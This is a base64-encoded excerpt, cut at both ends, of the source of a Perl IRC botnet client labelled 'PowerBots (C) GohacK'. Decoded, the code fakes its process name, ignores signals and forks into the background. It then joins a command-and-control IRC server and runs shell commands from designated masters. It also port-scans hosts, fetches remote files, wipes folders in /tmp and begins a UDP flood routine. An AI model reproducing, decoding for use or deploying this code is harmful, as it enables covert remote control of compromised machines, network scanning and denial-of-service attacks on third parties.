CBvbiBOZXRfU21hcnRJUkNcMDAxIiwNCiAgICJcMDAxUElSQ0g5ODpXSU4gOTUvOTgvV0lOIE5UOjEuMCAoYnVpbGQgMS4wLjEuMTE5MClcMDAxIiwNCiAgICJcMDAxeGNoYXQgMi42LjIgTGludXggMi42LjE4LjUgW2k2ODYvMi42N0dIel1cMDAxIiwNCiAgICJcMDAxeGNoYXQ6Mi40LjM6TGludXggMi42LjE3LTEuMjE0Ml9GQzQgW2k2ODYvMiwwMEdIel1cMDAxIiwNCiAgICJcMDAxeGNoYXQ6Mi40LjM6TGludXggMi42LjE3LTEuMjE0Ml9GQzQgW2k2ODYvMS43MEdIel1cMDAxIiwNCiAgICJcMDAxWENoYXQtR05PTUUgSVJDIENoYXQgMC4xNiBMaW51eCAyLjYuMjAtOC1nZW5lcmljIFtpNjg2XVwwMDEiLA0KICAgIlwwMDFpcmNOIDcuMjcgKyA3LjAgLSAtXDAwMSIsIlwwMDEuLihhcmdvbi8xZykgOmJpdGNoeC0xLjBjMTdcMDAxIiwNCiAgICJcMDAxaXJjTiA4LjAwIB8tHyBoZSB0cmllcyB0byB0ZWxsIG1lIHdoYXQgSSBwdXQgaW5zaWRlIG9mIG1lIB8tH1wwMDEiLA0KICAgIlwwMDFGcmVlQlNEITQuMTEtU1RBQkxFIGJpdGNoeC0xLjBjMTggLSBwcmV2YWlsWzAxMjNdIDpkb3duIHdpdGggcGVvcGxlXDAwMSIsDQogICAiXDAwMUJpdGNoWC0xLjBjMTkrIGJ5IHBhbmFzeW5jIC0gTGludXggMi40LjMxIDogS2VlcCBpdCB0byB5b3Vyc2VsZiFcMDAxIiwNCiAgICJcMDAxQml0Y2hYLTEuMGMxOSsgYnkgcGFuYXN5bmMgLSBMaW51eCAyLjQuMzMuMyA6IEtlZXAgaXQgdG8geW91cnNlbGYhXDAwMSIsDQogICAiXDAwMUJpdGNoWC0xLjEtZmluYWwrIGJ5IHBhbmFzeW5jIC0gTGludXggMi42LjE4LjEgOiBLZWVwIGl0IHRvIHlvdXJzZWxmIVwwMDEiLA0KICAgIlwwMDFCaXRjaFgtMS4wYzE5IGJ5IHBhbmFzeW5jIC0gZnJlZWJzZCA0LjEwLVNUQUJMRSA6IEtlZXAgaXQgdG8geW91cnNlbGYhXDAwMSIsDQogICAiXDAwMUJpdGNoWC0xLjEtZmluYWwrIGJ5IHBhbmFzeW5jIC0gRnJlZUJTRCA0LjUtU1RBQkxFIDogS2VlcCBpdCB0byB5b3Vyc2VsZiFcMDAxIiwNCiAgICJcMDAxQml0Y2hYLTEuMS1maW5hbCsgYnkgcGFuYXN5bmMgLSBGcmVlQlNEIDYuMC1SRUxFQVNFIDogS2VlcCBpdCB0byB5b3Vyc2VsZiFcMDAxIiwNCiAgICJcMDAxQml0Y2hYLTEuMS1maW5hbCsgYnkgcGFuYXN5bmMgLSBGcmVlQlNEIDUuMy1SRUxFQVNFIDogS2VlcCBpdCB0byB5b3Vyc2VsZiFcMDAxIiwNCiAgICJcMDAxYml0Y2h4LTEuMGMxOCA6dHVubmVsdmlzaW9uLzEuMlwwMDEiLCJcMDAxUG5QIDQuMjIgLSBodHRwOi8vd3d3LnBhaXJjLmNvbS9cMDAxIiwNCiAgICJcMDAxQml0Y2hYLTEuMGMxNy9GcmVlQlNEIDQuMTAtUkVMRUFTRTooYylyYWNrcm9jay9iWCBbMy4wLjHCtzldIDogS2VlcCBpdCB0byB5b3Vyc2VsZiFcMDAxIiwNCiAgICJcMDAxUCZQIDQuMjIuMiAoaW4gZGV2ZWxvcG1lbnQpICsgWCBaIFAgQm90cywgU291bmQsIE5pY2tTZXJ2LCBDaGFuU2VydiwgRXh0cmFzXDAwMSIsDQogICAiXDAwMUh5ZHJhSVJDIHYwLjMuMTQ4ICgxOC9KYW4vMjAwNSkgYnkgRG9taW5pYyBDbGlmdG9uIGFrYSBIeWRyYSAtICNIeWRyYUlSQyBvbiBFRk5ldFwwMDEiLA0KICAgIlwwMDFpcnNzaSB2MC44LjEwIC0gcnVubmluZyBvbiBMaW51eCBpNTg2XDAwMSIsIlwwMDFpcnNzaSB2MC44LjEwIC0gcnVubmluZyBvbiBGcmVlQlNEIGkzODZcMDAxIiwNCiAgICJcMDAxaXJjSUkgMjAwNTA0MjMrU2Nyb2xsWiAxLjkuNSAoMTkuMTIuMjAwNCkrQ2RjYyB2MS42bW9kcyB2MS4wIGJ5IGFjaWRmbGFzaCAtIEFsbW9zdCB0aGVyZVwwMDEiLA0KICAgIlwwMDFpcmNJSSAyMDA1MDQyMytTY3JvbGxaIDEuOS41ICgxOS4xMi4yMDA0KStDZGNjIHYxLjgrT3Blck1vZHMgdjEuMCBieSBhY2lkZmxhc2ggLSBBbG1vc3QgdGhlcmVcMDAxIik7DQoNCiMgRGVmYXVsdCBxdWljayBzY2FuIHBvcnRzDQpteSBAcG9ydGFzPSgiMjEiLCIyMiIsIjIzIiwiMjUiLCI1MyIsIjgwIiwiMTEwIiwiMTEzIiwiMTQzIiwiMzMwNiIsIjQwMDAiLCI1OTAwIiwiNjY2NyIsIjY2NjgiLCI2NjY5IiwiNzAwMCIsIjEwMDAwIiwiMTIzNDUiLCIzMTMzNyIsIjY1NTAxIik7DQoNCiMgeGVRdA0KDQojbXkgJG5pY2sgPSAiYnEiOw0KbXkgJG5pY2sgPSAkbmlja25hbWVbcmFuZCBzY2FsYXIgQG5pY2tuYW1lXTsNCm15ICRyZWFsbmFtZSA9ICR4bmFtZVtyYW5kIHNjYWxhciBAeG5hbWVdOw0KbXkgJGlyY25hbWUgPSAkeGlkZW50W3JhbmQgc2NhbGFyIEB4aWRlbnRdOw0KbXkgJHBvcnRhID0gJHJwb3J0c1tyYW5kIHNjYWxhciBAcnBvcnRzXTsNCm15ICR4cHJvYyA9ICRmYWtlcHNbcmFuZCBzY2FsYXIgQGZha2Vwc107DQpteSAkTXJ4ID0gJE1yeFtyYW5kIHNjYWxhciBATXJ4XTsNCm15ICR2ZXJzaW9uID0gJ1Bvd2VyQm90cyAoQykgR29oYWNLJzsNCg0KJFNJR3snSU5UJ30gPSAnSUdOT1JFJzsNCiRTSUd7J0hVUCd9ID0gJ0lHTk9SRSc7DQokU0lHeydURVJNJ30gPSAnSUdOT1JFJzsNCiRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJFNJR3snUFMnfSA9ICdJR05PUkUnOw0KDQp1c2UgSU86OlNvY2tldDsNCnVzZSBTb2NrZXQ7DQp1c2UgSU86OlNlbGVjdDsNCmNoZGlyKCIkaG9tZWRpciIpOw0KJHNlcnZpZG9yPSIkQVJHVlswXSIgaWYgJEFSR1ZbMF07DQokMD0iJHhwcm9jIi4iXDAiOw0KbXkgJHBpZD1mb3JrOw0KZXhpdCBpZiAkcGlkOw0KZGllICJbeF0gLT4gQ2Fubm90IGZvcmsgaW50byBiYWNrZ3JvdW5kOiAkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7DQpteSAlaXJjX3NlcnZlcnM7DQpteSAlRENDOw0KbXkgJGRjY19zZWwgPSBuZXcgSU86OlNlbGVjdC0+bmV3KCk7DQoNCnN1YiBnZXRuaWNrIHsNCiAgcmV0dXJuICIkbmlja25hbWVbcmFuZCBzY2FsYXIgQG5pY2tuYW1lXSIuaW50KHJhbmQoMTAwMCkpOw0KfQ0KDQpzdWIgZ2V0c3RvcmUgKCQkKQ0Kew0KICBteSAkdXJsID0gc2hpZnQ7DQogIG15ICRmaWxlID0gc2hpZnQ7DQoNCiAgJGh0dHBfc3RyZWFtX291dCA9IDE7DQogIG9wZW4oR0VUX09VVEZJTEUsICI+ICRmaWxlIik7DQogICVodHRwX2xvb3BfY2hlY2sgPSAoKTsNCiAgX2dldCgkdXJsKTsNCiAgY2xvc2UgR0VUX09VVEZJTEU7DQogIHJldHVybiAkbWFpbjo6aHR0cF9nZXRfcmVzdWx0Ow0KfQ0Kc3ViIF9nZXQNCnsNCiAgbXkgJHVybCA9IHNoaWZ0Ow0KICBteSAkcHJveHkgPSAiIjsNCiAgZ3JlcCB7KGxjKCRfKSBlcSAiaHR0cF9wcm94eSIpICYmICgkcHJveHkgPSAkRU5WeyRffSl9IGtleXMgJUVOVjsNCiAgaWYgKCgkcHJveHkgZXEgIiIpICYmICR1cmwgPX4gbSxeaHR0cDovLyhbXi86XSspKD86OihcZCspKT8oL1xTKik/JCwpIHsNCiAgICBteSAkaG9zdCA9ICQxOw0KICAgIG15ICRwb3J0ID0gJDIgfHwgODA7DQogICAgbXkgJHBhdGggPSAkMzsNCiAgICAkcGF0aCA9ICIvIiB1bmxlc3MgZGVmaW5lZCgkcGF0aCk7DQogICAgcmV0dXJuIF90cml2aWFsX2h0dHBfZ2V0KCRob3N0LCAkcG9ydCwgJHBhdGgpOw0KICB9IGVsc2lmICgkcHJveHkgPX4gbSxeaHR0cDovLyhbXi86XSspOihcZCspKC9cUyopPyQsKSB7DQogICAgbXkgJGhvc3QgPSAkMTsNCiAgICBteSAkcG9ydCA9ICQyOw0KICAgIG15ICRwYXRoID0gJHVybDsNCiAgICByZXR1cm4gX3RyaXZpYWxfaHR0cF9nZXQoJGhvc3QsICRwb3J0LCAkcGF0aCk7DQogIH0gZWxzZSB7DQogICAgcmV0dXJuIHVuZGVmOw0KICB9DQp9DQpzdWIgX3RyaXZpYWxfaHR0cF9nZXQNCnsNCiAgbXkoJGhvc3QsICRwb3J0LCAkcGF0aCkgPSBAXzsNCiAgbXkoJEFHRU5ULCAkVkVSU0lPTiwgJHApOw0KICAjcHJpbnQgIkhPU1Q9JGhvc3QsIFBPUlQ9JHBvcnQsIFBBVEg9JHBhdGhcbiI7DQoNCiAgJEFHRU5UID0gImdldC1taW5pbWFsIjsNCiAgJFZFUlNJT04gPSAiMjAwMDAxMTgiOw0KDQogICRwYXRoID1+IHMvIC8lMjAvZzsNCg0KICByZXF1aXJlIElPOjpTb2NrZXQ7DQogIGxvY2FsKCReVykgPSAwOw0KICBteSAkc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRkciA9PiAkaG9zdCwgUGVlclBvcnQgPT4gJHBvcnQsIFByb3RvICAgPT4gJ3RjcCcsIFRpbWVvdXQgID0+IDYwKSB8fCByZXR1cm47DQoNCiAgJHNvY2stPmF1dG9mbHVzaDsNCiAgbXkgJG5ldGxvYyA9ICRob3N0Ow0KICAkbmV0bG9jIC49ICI6JHBvcnQiIGlmICRwb3J0ICE9IDgwOw0KICBteSAkcmVxdWVzdCA9ICJHRVQgJHBhdGggSFRUUC8xLjBcMDE1XDAxMiINCiAgICAgICAgICAgICAgLiAiSG9zdDogJG5ldGxvY1wwMTVcMDEyIg0KICAgICAgICAgICAgICAuICJVc2VyLUFnZW50OiAkQUdFTlQvJFZFUlNJT04vdVwwMTVcMDEyIjsNCiAgJHJlcXVlc3QgLj0gIlByYWdtYTogbm8tY2FjaGVcMDE1XDAxMiIgaWYgKCRtYWluOjpodHRwX25vX2NhY2hlKTsNCiAgJHJlcXVlc3QgLj0gIlwwMTVcMDEyIjsNCiAgcHJpbnQgJHNvY2sgJHJlcXVlc3Q7DQogIG15ICRidWYgPSAiIjsNCiAgbXkgJG47DQogIG15ICRiMSA9ICIiOw0KICB3aGlsZSAoJG4gPSBzeXNyZWFkKCRzb2NrLCAkYnVmLCA4KjEwMjQsIGxlbmd0aCgkYnVmKSkpIHsNCiAgICBpZiAoJGIxIGVxICIiKSB7DQogICAgICAkYjEgPSAkYnVmOw0KICAgICAgJGJ1ZiA9fiBzLy4rP1wwMTU/XDAxMlwwMTU/XDAxMi8vczsNCiAgICB9DQogICAgaWYgKCRodHRwX3N0cmVhbV9vdXQpIHsgcHJpbnQgR0VUX09VVEZJTEUgJGJ1ZjsgJGJ1ZiA9ICIiOyB9DQogIH0NCiAgcmV0dXJuIHVuZGVmIHVubGVzcyBkZWZpbmVkKCRuKTsNCiAgJG1haW46Omh0dHBfZ2V0X3Jlc3VsdCA9IDIwMDsNCiAgaWYgKCRiMSA9fiBtLF5IVFRQL1xkK1wuXGQrXHMrKFxkKylbXlwwMTJdKlwwMTIsKSB7DQogICAgJG1haW46Omh0dHBfZ2V0X3Jlc3VsdCA9ICQxOw0KICAgICMgcHJpbnQgIkNPREU9JG1haW46Omh0dHBfZ2V0X3Jlc3VsdFxuJGIxXG4iOw0KICAgIGlmICgkbWFpbjo6aHR0cF9nZXRfcmVzdWx0ID1+IC9eMzBbMTIzN10vICYmICRiMSA9fiAvXDAxMkxvY2F0aW9uOlxzKihcUyspLykgew0KICAgICAgbXkgJHVybCA9ICQxOw0KICAgICAgcmV0dXJuIHVuZGVmIGlmICRodHRwX2xvb3BfY2hlY2t7JHVybH0rKzsNCiAgICAgIHJldHVybiBfZ2V0KCR1cmwpOw0KICAgIH0NCiAgICByZXR1cm4gdW5kZWYgdW5sZXNzICRtYWluOjpodHRwX2dldF9yZXN1bHQgPX4gL14yLzsNCiAgfQ0KICByZXR1cm4gJGJ1ZjsNCn0NCiRzZWxfY2xpZW50ZSA9IElPOjpTZWxlY3QtPm5ldygpOw0Kc3ViIHNlbmRyYXcgew0KICBpZiAoJCNfID09ICcxJykgew0KICAgIG15ICRzb2NrZXQgPSAkX1swXTsNCiAgICBwcmludCAkc29ja2V0ICIkX1sxXVxuIjsNCiAgfSBlbHNlIHsNCiAgICAgIHByaW50ICRJUkNfY3VyX3NvY2tldCAiJF9bMF1cbiI7DQogIH0NCn0NCnN1YiBjb25lY3RhciB7DQogICBteSAkbWV1bmljayA9ICRfWzBdOw0KICAgbXkgJHNlcnZpZG9yX2NvbiA9ICRfWzFdOw0KICAgbXkgJHBvcnRhX2NvbiA9ICRfWzJdOw0KICAgbXkgJElSQ19zb2NrZXQgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUHJvdG89PiJ0Y3AiLCBQZWVyQWRkcj0+IiRzZXJ2aWRvcl9jb24iLCBQZWVyUG9ydD0+JHBvcnRhX2Nvbikgb3IgcmV0dXJuKDEpOw0KICAgaWYgKGRlZmluZWQoJElSQ19zb2NrZXQpKSB7DQogICAgICRJUkNfY3VyX3NvY2tldCA9ICRJUkNfc29ja2V0Ow0KICAgICAkSVJDX3NvY2tldC0+YXV0b2ZsdXNoKDEpOw0KICAgICAkc2VsX2NsaWVudGUtPmFkZCgkSVJDX3NvY2tldCk7DQogICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydob3N0J30gPSAiJHNlcnZpZG9yX2NvbiI7DQogICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydwb3J0YSd9ID0gIiRwb3J0YV9jb24iOw0KICAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbmljayd9ID0gJG1ldW5pY2s7DQogICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydtZXVpcCd9ID0gJElSQ19zb2NrZXQtPnNvY2tob3N0Ow0KICAgICBuaWNrKCIkbWV1bmljayIpOw0KICAgICBzZW5kcmF3KCJVU0VSICRpcmNuYW1lICIuJElSQ19zb2NrZXQtPnNvY2tob3N0LiIgJHNlcnZpZG9yX2NvbiA6JHJlYWxuYW1lIik7DQogICAgIHNsZWVwIDI7DQogICB9DQp9DQpteSAkbGluZV90ZW1wOw0Kd2hpbGUoIDEgKSB7DQogICB3aGlsZSAoIShrZXlzKCVpcmNfc2VydmVycykpKSB7IGNvbmVjdGFyKCIkbmljayIsICIkc2Vydmlkb3IiLCAiJHBvcnRhIik7IH0NCiAgIGRlbGV0ZSgkaXJjX3NlcnZlcnN7Jyd9KSBpZiAoZGVmaW5lZCgkaXJjX3NlcnZlcnN7Jyd9KSk7DQogICAmRENDOjpjb25uZWN0aW9uczsNCiAgIG15IEByZWFkeSA9ICRzZWxfY2xpZW50ZS0+Y2FuX3JlYWQoMC42KTsNCiAgIG5leHQgdW5sZXNzKEByZWFkeSk7DQogICBmb3JlYWNoICRmaCAoQHJlYWR5KSB7DQogICAgICRJUkNfY3VyX3NvY2tldCA9ICRmaDsNCiAgICAgJG1ldW5pY2sgPSAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbmljayd9Ow0KICAgICAkbnJlYWQgPSBzeXNyZWFkKCRmaCwgJG1zZywgNDA5Nik7DQogICAgIGlmICgkbnJlYWQgPT0gMCkgew0KICAgICAgICAkc2VsX2NsaWVudGUtPnJlbW92ZSgkZmgpOw0KICAgICAgICAkZmgtPmNsb3NlOw0KICAgICAgICBkZWxldGUoJGlyY19zZXJ2ZXJzeyRmaH0pOw0KICAgICB9DQogICAgIEBsaW5lcyA9IHNwbGl0ICgvXG4vLCAkbXNnKTsNCiAgICAgZm9yKG15ICRjPTA7ICRjPD0gJCNsaW5lczsgJGMrKykgew0KICAgICAgICRsaW5lID0gJGxpbmVzWyRjXTsNCiAgICAgICAkbGluZT0kbGluZV90ZW1wLiRsaW5lIGlmICgkbGluZV90ZW1wKTsNCiAgICAgICAkbGluZV90ZW1wPScnOw0KICAgICAgICRsaW5lID1+IHMvXHIkLy87DQogICAgICAgdW5sZXNzICgkYyA9PSAkI2xpbmVzKSB7DQogICAgICAgICBwYXJzZSgiJGxpbmUiKTsNCiAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICBpZiAoJCNsaW5lcyA9PSAwKSB7DQogICAgICAgICAgICAgcGFyc2UoIiRsaW5lIik7DQogICAgICAgICAgIH0gZWxzaWYgKCRsaW5lc1skY10gPX4gL1xyJC8pIHsNCiAgICAgICAgICAgICAgIHBhcnNlKCIkbGluZSIpOw0KICAgICAgICAgICB9IGVsc2lmICgkbGluZSA9fiAvXihcUyspIE5PVElDRSBBVVRIIDpcKlwqXCovKSB7DQogICAgICAgICAgICAgICBwYXJzZSgiJGxpbmUiKTsNCiAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICRsaW5lX3RlbXAgPSAkbGluZTsNCiAgICAgICAgICAgfQ0KICAgICAgIH0NCiAgICAgIH0NCiAgIH0NCn0NCg0Kc3ViIHBhcnNlIHsNCiAgIG15ICRzZXJ2YXJnID0gc2hpZnQ7DQogICBpZiAoJHNlcnZhcmcgPX4gL15QSU5HIFw6KC4qKS8pIHsNCiAgICAgc2VuZHJhdygiUE9ORyA6JDEiKTsNCiAgIH0gZWxzaWYgKCRzZXJ2YXJnID1+IC9eXDooLis/KVwhKC4rPylcQCguKz8pIFBSSVZNU0cgKC4rPykgXDooLispLykgew0KICAgICAgIG15ICRwbj0kMTsgbXkgJGhvc3RuYW0zPSQzOyBteSAkb25kZSA9ICQ0OyBteSAkYXJncyA9ICQ1Ow0KICAgICAgIGlmICgkYXJncyA9fiAvXlwwMDFWRVJTSU9OXDAwMSQvKSB7DQogICAgICAgICBub3RpY2UoIiRwbiIsICIiLiRNcnguIiIpOw0KICAgICAgIH0NCiAgICAgICBlbHNpZiAoJGFyZ3MgPX4gL15cMDAxUElOR1xzKyhcZCspXDAwMSQvKSB7DQogICAgICAgICBub3RpY2UoIiRwbiIsICJcMDAxUE9OR1wwMDEiKTsNCiAgICAgICB9DQogICAgICAgZWxzaWYgKGdyZXAgeyRfID1+IC9eKFxRJHBuXEV8XFEkaG9zdG5hbTNcRSkkL2kgfSBAbWFzdDNycykgew0KICAgICAgICAgaWYgKCRvbmRlIGVxICIkbWV1bmljayIpew0KICAgICAgICAgICBzaGVsbCgiJHBuIiwgIiRhcmdzIik7DQogICAgICAgIH0NCiAgICBpZiAoJGFyZ3MgPX4gL14hKC4qKS8pew0KICAgICAgIGlyY2FzZSgiJHBuIiwiJGNoYW4iLCIkMSIpOw0KICAgIH0NCiAgICAgICAgaWYgKCRhcmdzID1+IC9eKFxRJG1ldW5pY2tcRXxcUSR4ZXF0XEUpXHMrKC4qKS8gKSB7DQogICAgICAgICAgICBteSAkbmF0cml4ID0gJDE7DQogICAgICAgICAgICBteSAkYXJnID0gJDI7DQogICAgICAgICAgICBpZiAoJGFyZyA9fiAvXlwhKC4qKS8pIHsNCiAgICAgICAgICAgICAgaXJjYXNlKCIkcG4iLCIkb25kZSIsIiQxIik7DQogICAgICAgICAgICB9IGVsc2lmICgkYXJnID1+IC9eXEAoLiopLykgew0KICAgICAgICAgICAgICAgICRvbmRlcCA9ICRvbmRlOw0KICAgICAgICAgICAgICAgICRvbmRlcCA9ICRwbiBpZiAkb25kZSBlcSAkbWV1bmljazsNCiAgICAgICAgICAgICAgICBiZnVuYygiJG9uZGVwIiwiJDEiKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgc2hlbGwoIiRvbmRlIiwgIiRhcmciKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgIH0NCiAgICAgICB9DQogICB9IGVsc2lmICgkc2VydmFyZyA9fiAvXlw6KC4rPylcISguKz8pXEAoLis/KVxzK05JQ0tccytcOihcUyspL2kpIHsNCiAgICAgICBpZiAobGMoJDEpIGVxIGxjKCRtZXVuaWNrKSkgew0KICAgICAgICAgJG1ldW5pY2s9JDQ7DQogICAgICAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbmljayd9ID0gJG1ldW5pY2s7DQogICAgICAgfQ0KICAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gbS9eXDooLis/KVxzKzQzMy9pKSB7DQogICAgICAgJG1ldW5pY2sgPSBnZXRuaWNrKCk7DQogICAgICAgbmljaygiIi4kbWV1bmljay4iLSIpOw0KICAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gbS9eXDooLis/KVxzKzAwMVxzKyhcUyspXHMvaSkgew0KICAgICAgICRtZXVuaWNrID0gJDI7DQogICAgICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25pY2snfSA9ICRtZXVuaWNrOw0KICAgICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydub21lJ30gPSAiJDEiOw0KICAgICAgIGZvcmVhY2ggbXkgJGNhbmFsIChAYWRtY2hhbil7DQogICAgICAgICBzZW5kcmF3KCJKT0lOICRjYW5hbCAyMDZ4c3MiKTsNCiAgICAgICB9DQogICB9DQp9DQpzdWIgYmZ1bmMgew0KICBteSAkcHJpbnRsID0gJF9bMF07DQogIG15ICRmdW5jYXJnID0gJF9bMV07DQogIGlmIChteSAkcGlkID0gZm9yaykgew0KICAgICB3YWl0cGlkKCRwaWQsIDApOw0KICB9IGVsc2Ugew0KICAgICAgaWYgKGZvcmspDQogICAgICAgew0KICAgICAgICAgZXhpdDsNCiAgICAgICB9DQogICBlbHNlDQogICB7DQogICANCiAgICAgICMgU2NhbmFyZSBwb3J0dXJpIHByZWRlZmluaXRlDQogICAgICAgICAgIGlmICgkZnVuY2FyZyA9fiAvXnBzICguKikvKSB7DQogICAgICAgICAgICAgbXkgJGhvc3RpcD0iJDEiOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMlwwMDMxMlBvcnRzY2FubmluZ1wwMDNcMDAyOiAkMSBcMDAyXDAwMzEyUG9ydHM6XDAwM1wwMDIgZGVmYXVsdCIpOw0KICAgICAgICAgICAgIG15IChAYWJlcnRhLCAlcG9ydGFfYmFubmVyKTsNCiAgICAgICAgICAgICBmb3JlYWNoIG15ICRwb3J0YSAoQHBvcnRhcykgIHsNCiAgICAgICAgICAgICAgICBteSAkc2NhbnNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJGhvc3RpcCwgUGVlclBvcnQgPT4gJHBvcnRhLCBQcm90byA9PiAndGNwJywgVGltZW91dCA9PiAkcG9ydGltZSk7DQogICAgICAgICAgICAgICAgaWYgKCRzY2Fuc29jaykgew0KICAgICAgICAgICAgICAgICAgIHB1c2ggKEBhYmVydGEsICRwb3J0YSk7DQogICAgICAgICAgICAgICAgICAgJHNjYW5zb2NrLT5jbG9zZTsNCiAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpGb3VuZDogJHBvcnRhIi4iL09wZW4iKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIGlmIChAYWJlcnRhKSB7DQogICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6UG9ydCBTY2FuIENvbXBsZXRlIHdpdGggdGFyZ2V0OiAkMSAiKTsNCiAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwiUFJJVk1TRyAkcHJpbnRsIDpcMDAyW3hdXDAwMzQgTm8gb3BlbiBwb3J0cyBmb3VuZCBvblwwMDIgJDEiKTsNCiAgICAgICAgICAgICB9DQogICAgICAgICAgIH0NCiAgICAgICMgTk1BUCwgbG9sDQogICAgICAgICAgIGVsc2lmICgkZnVuY2FyZyA9fiAvXm5tYXBccysoLiopXHMrKFxkKylccysoXGQrKS8pDQogICAgICB7DQogICAgICAgICAgICAgIG15ICRob3N0bmFtZT0iJDEiOw0KICAgICAgICAgICAgICBteSAkcG9ydHN0YXJ0ID0gIiQyIjsNCiAgICAgICAgICAgICAgIG15ICRwb3J0ZW5kID0gIiQzIjsNCiAgICAgICAgICAgICAgIG15IChAYWJlcnRhcywgJXBvcnRhX2Jhbm5lcik7DQogICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJcMDAzMTJ4TWFwIFBvcnRzY2FubmluZ1wwMDNcMDAyOiAkMSBcMDAyXDAwMzEyUG9ydHM6XDAwM1wwMDIgJDItJDMiKTsNCiAgICAgICAgICAgICAgIGZvcmVhY2ggbXkgJHBvcnRhICgkcG9ydHN0YXJ0Li4kcG9ydGVuZCkNCiAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICBteSAkc2NhbnNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJGhvc3RuYW1lLCBQZWVyUG9ydCA9PiAkcG9ydGEsIFByb3RvID0+ICd0Y3AnLCBUaW1lb3V0ID0+ICRwb3J0aW1lKTsNCiAgICAgICAgICAgICAgIGlmICgkc2NhbnNvY2spIHsNCiAgICAgICAgICAgICAgICAgcHVzaCAoQGFiZXJ0YXMsICRwb3J0YSk7DQogICAgICAgICAgICAgICAgICRzY2Fuc29jay0+Y2xvc2U7DQogICAgICAgICAgICAgICAgIGlmICgkeHN0YXRzKQ0KICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6Rm91bmQ6ICRwb3J0YSIuIi9PcGVuIik7DQogICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICB9DQogICAgICAgICAgICAgaWYgKEBhYmVydGFzKSB7DQogICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJcMDAzMTJTY2FuIENvbXBsYXRlXDAwM1wwMDIiKTsNCiAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsIlBSSVZNU0cgJHByaW50bCA6XDAwMlwwMDMxMk5vIHBvcnRzIGZvdW5kLi5cMDAyIik7DQogICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgIyBSZW1vdmUNCiAgICAgIGVsc2lmICgkZnVuY2FyZyA9fiAvXnJtLykNCiAgICAgIHsNCiAgICAgICAgIHN5c3RlbSgiY2QgL3Zhci90bXAgOyBybSAtcmYgLm1yeCA7IHJtIC1yZiBhbGV4LnR4dCA7IHJtIC1yZiBhbGV4LnR4dC4qIHZ4KiBtcngqIik7DQogICAgICBzeXN0ZW0oImNkIC90bXAgOyBybSAtcmYgLm1yeCA7IHJtIC1yZiBhbGV4LnR4dCA7IHJtIC1yZiBhbGV4LiogOyBta2RpciAvdG1wLy5tcnggOyBjZCAvdG1wLy5tcngiKTsNCiAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyXDAwMzEyKFF1aWNrZGVsKVwwMDJcMDAzMTQgUmVtb3ZlZCBmaWxlcyBhbmQgZm9sZGVycyAiKTsNCiAgICAgIH0NCiAgICAgICMgVmVyc2lvbg0KICAgICAgZWxzaWYgKCRmdW5jYXJnID1+IC9ec3lzdGVtLykNCiAgICAgIHsNCiAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyXDAwMzEyKFZlcnNpb24pXDAwMlwwMDMxNCAkdmVyc2lvbiAiKTsNCiAgICAgIH0NCiAgICAgICMgRG93bmxvYWQNCiAgICAgICAgICAgZWxzaWYgKCRmdW5jYXJnID1+IC9eZG93blxzKyguKilccysoLiopLykNCiAgICAgIHsNCiAgICAgICAgICAgICAgZ2V0c3RvcmUoIiQxIiwgIiQyIik7DQogICAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyXDAwMzEyKERvd25sb2FkKVwwMDJcMDAzMTQgUGFnZTogJDIgKEZpbGU6ICQxKSIpIGlmICgkeHN0YXRzKTsNCiAgICAgICAgICAgfQ0KICAgICAgICMgVWRwDQogICAgICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL151ZHBccysoLiopXHMrK